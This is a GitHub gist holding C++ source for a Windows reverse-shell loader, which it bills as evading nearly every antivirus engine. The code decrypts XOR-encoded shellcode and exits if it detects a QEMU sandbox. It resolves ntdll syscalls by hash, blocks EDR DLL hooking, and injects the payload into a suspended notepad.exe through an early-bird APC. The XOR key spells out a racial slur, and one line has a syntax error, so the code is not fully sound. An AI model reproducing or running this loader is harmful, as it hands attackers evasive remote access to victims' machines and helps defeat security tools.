Skip to content

Instantly share code, notes, and snippets.

@Ashraf-wan
Created January 4, 2025 16:56
Show Gist options
  • Save Ashraf-wan/764cfbdca931ca248599486c811a347d to your computer and use it in GitHub Desktop.
Save Ashraf-wan/764cfbdca931ca248599486c811a347d to your computer and use it in GitHub Desktop.
This is the reverse shell code in c++ that bypass 71/72 av in virustotal. This code uses xor, syscalls, qemu cpu checks, earlybird apc and prime number calculation for sleep.
#if (defined(_MSC_VER) || defined(_WIN32) || defined(_WIN64) || defined(__MINGW32__))
#define MSVC 1
#define LINUX 0
#elif (defined(__linux__))
#define MSVC 0
#define LINUX 1
#else
#define MSVC 0
#define LINUX 0
#endif
#if (LINUX)
#include <cpuid.h>
#elif (MSVC)
#include <intrin.h>
#endif
#include <cstdint>
#include <array>
#include <string>
#include <cstring>
#include <regex>
#include <cstdlib> // For exit()
#include <processthreadsapi.h>
#include <stdio.h>
#include <windows.h>
#include <winternl.h>
#include <iostream>
#include <map>
#include <string>
#include <cstdint> // For uintptr_t
#define PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON 0x00001000
// Encryption key
unsigned char bruh[] = { 0x92, 0x21, 0xe4, 0x83, 0x95, 0x9a, 0xa2, 0x6c, 0x61, 0x63, 0x2a, 0x3f, 0x28, 0x37, 0x35, 0x34, 0x24, 0x2a, 0x5d, 0xb3, 0x06, 0x23, 0xe5, 0x3b, 0x07, 0x2f, 0xee, 0x20, 0x7a, 0x24, 0xea, 0x31, 0x4b, 0x26, 0xe2, 0x15, 0x37, 0x2d, 0x7d, 0xd5, 0x26, 0x2b, 0x2e, 0x5a, 0xa7, 0x21, 0x56, 0xa7, 0xc9, 0x4e, 0x03, 0x10, 0x63, 0x4f, 0x4b, 0x2f, 0xa8, 0xae, 0x6a, 0x24, 0x73, 0xa3, 0x8e, 0x8c, 0x31, 0x2a, 0x3f, 0x21, 0xec, 0x35, 0x45, 0xf9, 0x20, 0x50, 0x29, 0x62, 0xbb, 0xe5, 0xe9, 0xef, 0x67, 0x65, 0x72, 0x2a, 0xe9, 0xa1, 0x17, 0x0c, 0x26, 0x68, 0xb7, 0x37, 0xee, 0x3a, 0x7a, 0x28, 0xea, 0x23, 0x4b, 0x27, 0x68, 0xb7, 0x84, 0x33, 0x3a, 0x9d, 0xa5, 0x20, 0xe8, 0x5f, 0xe6, 0x21, 0x66, 0xb1, 0x28, 0x43, 0xab, 0x24, 0x50, 0xa3, 0xc7, 0x2f, 0xa8, 0xae, 0x6a, 0x24, 0x73, 0xa3, 0x54, 0x81, 0x16, 0x9a, 0x22, 0x6a, 0x2b, 0x43, 0x6d, 0x37, 0x5b, 0xbd, 0x14, 0xbb, 0x33, 0x2a, 0xe2, 0x27, 0x43, 0x2c, 0x73, 0xb2, 0x0a, 0x20, 0xe8, 0x67, 0x26, 0x2d, 0xec, 0x27, 0x79, 0x3b, 0x63, 0xbc, 0x20, 0xe8, 0x6f, 0xe6, 0x21, 0x66, 0xb7, 0x24, 0x2a, 0x23, 0x34, 0x3f, 0x3a, 0x31, 0x2f, 0x31, 0x26, 0x3e, 0x24, 0x28, 0x2a, 0xef, 0x8d, 0x43, 0x2a, 0x3c, 0x96, 0x87, 0x3f, 0x24, 0x2b, 0x38, 0x24, 0xea, 0x71, 0x82, 0x39, 0x96, 0x98, 0x98, 0x38, 0x3b, 0xdc, 0x1b, 0x12, 0x51, 0x34, 0x5d, 0x5b, 0x67, 0x67, 0x24, 0x24, 0x2b, 0xe5, 0x87, 0x2b, 0xea, 0x82, 0xc9, 0x66, 0x67, 0x65, 0x3b, 0xeb, 0x89, 0x28, 0xdf, 0x69, 0x6e, 0x4a, 0x4e, 0x18, 0x65, 0x72, 0x63, 0x2d, 0x35, 0x2a, 0xe2, 0x8a, 0x25, 0xee, 0x96, 0x24, 0xc8, 0x2e, 0x1b, 0x47, 0x64, 0x94, 0xbb, 0x25, 0xee, 0x8d, 0x0d, 0x73, 0x63, 0x6c, 0x61, 0x3a, 0x2a, 0xd4, 0x40, 0xe7, 0x0c, 0x65, 0x8d, 0xb7, 0x3c, 0x31, 0x2e, 0x5a, 0xa7, 0x24, 0x56, 0xa7, 0x2d, 0x8d, 0xa2, 0x24, 0xe8, 0xa1, 0x23, 0x91, 0xa9, 0x2f, 0xee, 0xa4, 0x33, 0xd8, 0x86, 0x6e, 0xbc, 0x8b, 0x91, 0xbc, 0x2f, 0xee, 0xa2, 0x18, 0x72, 0x2d, 0x39, 0x2f, 0xe2, 0x8c, 0x21, 0xee, 0x9e, 0x24, 0xc8, 0xfb, 0xc9, 0x15, 0x02, 0x94, 0xbb, 0x21, 0xe6, 0xa3, 0x25, 0x70, 0x62, 0x6c, 0x28, 0xdb, 0x08, 0x03, 0x0d, 0x67, 0x67, 0x65, 0x72, 0x62, 0x2d, 0x31, 0x22, 0x3b, 0x26, 0xe0, 0x85, 0x30, 0x32, 0x25, 0x2f, 0x5d, 0xa1, 0x09, 0x66, 0x37, 0x28, 0x37, 0x85, 0x99, 0x14, 0xa5, 0x28, 0x45, 0x37, 0x6a, 0x6f, 0x21, 0xea, 0x23, 0x41, 0x6a, 0xa4, 0x6c, 0x09, 0x2b, 0xe2, 0x88, 0x3f, 0x37, 0x26, 0x35, 0x33, 0x32, 0x2d, 0x31, 0x2a, 0x94, 0xae, 0x28, 0x37, 0x2e, 0x9a, 0xba, 0x2f, 0xe5, 0xa0, 0x2f, 0xe2, 0xaf, 0x28, 0xdd, 0x1e, 0xa9, 0x4d, 0xe4, 0x93, 0xb4, 0x2b, 0x5a, 0xbc, 0x21, 0x98, 0xad, 0xee, 0x7c, 0x23, 0xd6, 0x69, 0xe4, 0x76, 0x0e, 0x96, 0xb2, 0xdc, 0x95, 0xc7, 0xc0, 0x3a, 0x20, 0xd9, 0xcd, 0xfb, 0xd4, 0xfa, 0x98, 0xb0, 0x3a, 0xe1, 0xa8, 0x49, 0x5f, 0x6d, 0x12, 0x63, 0xe7, 0x9c, 0x85, 0x07, 0x67, 0xd7, 0x26, 0x70, 0x19, 0x01, 0x03, 0x67, 0x3e, 0x24, 0xfb, 0xb8, 0x93, 0xb4 };
unsigned char key[] = { 0x6e, 0x69, 0x67, 0x67, 0x65, 0x72, 0x62, 0x6c, 0x61, 0x63, 0x6b };
// XOR encryption function
void Xor(unsigned char* data, int data_len, unsigned char* key, int key_len) {
for (int i = 0; i < data_len; i++) {
data[i] ^= key[i % key_len];
}
}
// FNV-1a Hashing function (works in constexpr)
constexpr DWORD Hash(const char* str, DWORD hash = 0x811C9DC5) {
return *str ? Hash(str + 1, (hash ^ *str) * 0x01000193) : hash;
}
// Function pointer types with correct signatures
typedef NTSTATUS(WINAPI* pNtAllocateVirtualMemory)(HANDLE, PVOID*, ULONG_PTR, PSIZE_T, ULONG, ULONG);
typedef NTSTATUS(WINAPI* pNtProtectVirtualMemory)(HANDLE, PVOID*, PSIZE_T, ULONG, PULONG);
typedef NTSTATUS(WINAPI* pNtWriteVirtualMemory)(HANDLE, PVOID, PVOID, SIZE_T, PSIZE_T);
typedef NTSTATUS(WINAPI* pNtQueueApcThread)(HANDLE, PVOID, PVOID, PVOID, PVOID);
typedef NTSTATUS(WINAPI* pNtResumeThread)(HANDLE, PULONG);
// Precomputed hash values for the function names
constexpr DWORD NtAllocateVirtualMemoryHash = Hash("NtAllocateVirtualMemory");
constexpr DWORD NtProtectVirtualMemoryHash = Hash("NtProtectVirtualMemory");
constexpr DWORD NtWriteVirtualMemoryHash = Hash("NtWriteVirtualMemory");
constexpr DWORD NtQueueApcThreadHash = Hash("NtQueueApcThread");
constexpr DWORD NtResumeThreadHash = Hash("NtResumeThread");
// Prime number calculated
#include <vector>
using namespace std;
// Function to calculate prime numbers in a range
vector<int> findPrimesInRange(int start, int end) {
vector<bool> isPrime(end + 1, true);
isPrime[0] = isPrime[1] = false;
for (int i = 2; i * i <= end; i++) {
if (isPrime[i]) {
for (int j = i * i; j <= end; j += i) {
isPrime[j] = false;
}
}
}
vector<int> primes;
for (int i = start; i <= end; i++) {
if (isPrime[i]) primes.push_back(i);
}
return primes;
}
// Function to resolve function pointers dynamically using hashes
FARPROC GetFunctionByHash(HMODULE hModule, DWORD functionHash) {
PIMAGE_EXPORT_DIRECTORY pExportDir = nullptr;
uintptr_t dwBaseAddress = reinterpret_cast<uintptr_t>(hModule);
pExportDir = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)hModule + ((PIMAGE_NT_HEADERS)((BYTE*)hModule + ((PIMAGE_DOS_HEADER)hModule)->e_lfanew))->OptionalHeader.DataDirectory[0].VirtualAddress);
DWORD* pFunctions = (DWORD*)((BYTE*)hModule + pExportDir->AddressOfFunctions);
DWORD* pNames = (DWORD*)((BYTE*)hModule + pExportDir->AddressOfNames);
WORD* pOrdinals = (WORD*)((BYTE*)hModule + pExportDir->AddressOfNameOrdinals);
for (DWORD i = 0; i < pExportDir->NumberOfNames; i++) {
char* funcName = (char*)((BYTE*)hModule + pNames[i]);
DWORD funcHash = Hash(funcName);
if (funcHash == functionHash) {
DWORD funcAddress = pFunctions[pOrdinals[i]];
return reinterpret_cast<FARPROC>((BYTE*)hModule + funcAddress);
}
}
return nullptr; // Function not found
}
// Qemu cpu detection
void cpuid(
std::uint32_t& a,
std::uint32_t& b,
std::uint32_t& c,
std::uint32_t& d,
const std::uint32_t a_leaf
) {
#if (MSVC)
std::int32_t x[4]{};
__cpuid((std::int32_t*)x, static_cast<std::int32_t>(a_leaf));
a = static_cast<std::uint32_t>(x[0]);
b = static_cast<std::uint32_t>(x[1]);
c = static_cast<std::uint32_t>(x[2]);
d = static_cast<std::uint32_t>(x[3]);
#elif (LINUX)
__get_cpuid(a_leaf, &a, &b, &c, &d);
#else
return;
#endif
}
// Checks if the leaf is high enough for the CPU to support
bool is_leaf_supported(const std::uint32_t p_leaf) {
std::uint32_t eax, unused = 0;
cpuid(eax, unused, unused, unused, 0x80000000);
return (p_leaf <= eax);
}
// Get the CPU product
std::string get_brand() {
if (!is_leaf_supported(0x80000004)) {
return "";
}
std::array<std::uint32_t, 4> buffer{};
constexpr std::size_t buffer_size = sizeof(int32_t) * buffer.size();
std::array<char, 64> charbuffer{};
constexpr std::array<std::uint32_t, 3> ids = {{
0x80000002,
0x80000003,
0x80000004
}};
std::string brand = "";
for (const std::uint32_t& id : ids) {
cpuid(buffer.at(0), buffer.at(1), buffer.at(2), buffer.at(3), id);
std::memcpy(charbuffer.data(), buffer.data(), buffer_size);
const char* convert = charbuffer.data();
brand += convert;
}
return brand;
}
// Main code, checks if the CPU brand matches with QEMU's
bool cpu_brand_qemu() {
std::string brand = get_brand();
std::regex qemu_pattern("QEMU Virtual CPU", std::regex_constants::icase);
return std::regex_search(brand, qemu_pattern);
}
// Main function
int main() {
// Checking cpu for qemu
if (cpu_brand_qemu()) {
// Exit silently if the CPU is a QEMU virtual CPU
std::exit(0);
}
// Continue normal execution if it's not QEMU
// Sleep using prime number function
auto primes = findPrimesInRange(1, 10;
// Stop edr from hooking
PROCESS_INFORMATION pi = {};
STARTUPINFOEXA si = {};
SIZE_T attributeSize = 0;
InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);
PPROC_THREAD_ATTRIBUTE_LIST attributes = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, attributeSize);
InitializeProcThreadAttributeList(attributes, 1, 0, &attributeSize);
DWORD64 policy = PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON;
UpdateProcThreadAttribute(attributes, 0, PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, &policy, sizeof(DWORD64), NULL, NULL);
si.lpAttributeList = attributes;
CreateProcessA(NULL, (LPSTR)"notepad", NULL, NULL, TRUE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi);
HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, attributes);
// Xor the shellcode with key
Xor(bruh, sizeof(bruh), key, sizeof(key));
// Load ntdll.dll
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
// Dynamically load functions based on hash comparison
pNtAllocateVirtualMemory NtAllocateVirtualMemory = (pNtAllocateVirtualMemory)GetFunctionByHash(hNtdll, NtAllocateVirtualMemoryHash);
pNtProtectVirtualMemory NtProtectVirtualMemory = (pNtProtectVirtualMemory)GetFunctionByHash(hNtdll, NtProtectVirtualMemoryHash);
pNtWriteVirtualMemory NtWriteVirtualMemory = (pNtWriteVirtualMemory)GetFunctionByHash(hNtdll, NtWriteVirtualMemoryHash);
pNtQueueApcThread NtQueueApcThread = (pNtQueueApcThread)GetFunctionByHash(hNtdll, NtQueueApcThreadHash);
pNtResumeThread NtResumeThread = (pNtResumeThread)GetFunctionByHash(hNtdll, NtResumeThreadHash);
if (!NtAllocateVirtualMemory || !NtProtectVirtualMemory || !NtWriteVirtualMemory || !NtQueueApcThread || !NtResumeThread) {
std::cerr << "Failed to load one or more functions from ntdll.dll" << std::endl;
return 1;
}
// Step 1: Create a suspended process
STARTUPINFOA startupInfo = { 0 };
PROCESS_INFORMATION processInfo = { 0 };
LPCSTR applicationName = "C:\\Windows\\System32\\notepad.exe";
if (!CreateProcessA(applicationName, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &startupInfo, &processInfo)) {
std::cerr << "Failed to create a suspended process" << std::endl;
return 1;
}
// Step 2: Allocate memory in the target process
PVOID baseAddress = nullptr;
SIZE_T regionSize = sizeof(bruh);
NTSTATUS status = NtAllocateVirtualMemory(
processInfo.hProcess,
&baseAddress,
0,
&regionSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE
);
if (status != 0) {
std::cerr << "Memory allocation failed" << std::endl;
return 1;
}
// Step 3: Write the shellcode (bruh) to the allocated memory
SIZE_T bytesWritten = 0;
status = NtWriteVirtualMemory(
processInfo.hProcess,
baseAddress,
bruh,
sizeof(bruh),
&bytesWritten
);
if (status != 0) {
std::cerr << "WriteVirtualMemory failed" << std::endl;
return 1;
}
// Step 4: Change memory protection to executable
DWORD oldProtect;
status = NtProtectVirtualMemory(
processInfo.hProcess,
&baseAddress,
&regionSize,
PAGE_EXECUTE_READ,
&oldProtect
);
if (status != 0) {
std::cerr << "Memory protection change failed" << std::endl;
return 1;
}
// Step 5: Queue an APC pointing to the shellcode
status = NtQueueApcThread(
processInfo.hThread,
baseAddress,
NULL,
NULL,
NULL
);
if (status != 0) {
std::cerr << "NtQueueApcThread failed" << std::endl;
return 1;
}
// Step 6: Resume the thread to trigger the APC
status = NtResumeThread(processInfo.hThread, NULL);
if (status != 0) {
std::cerr << "NtResumeThread failed" << std::endl;
return 1;
}
// Wait for the process to finish
WaitForSingleObject(processInfo.hProcess, INFINITE);
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment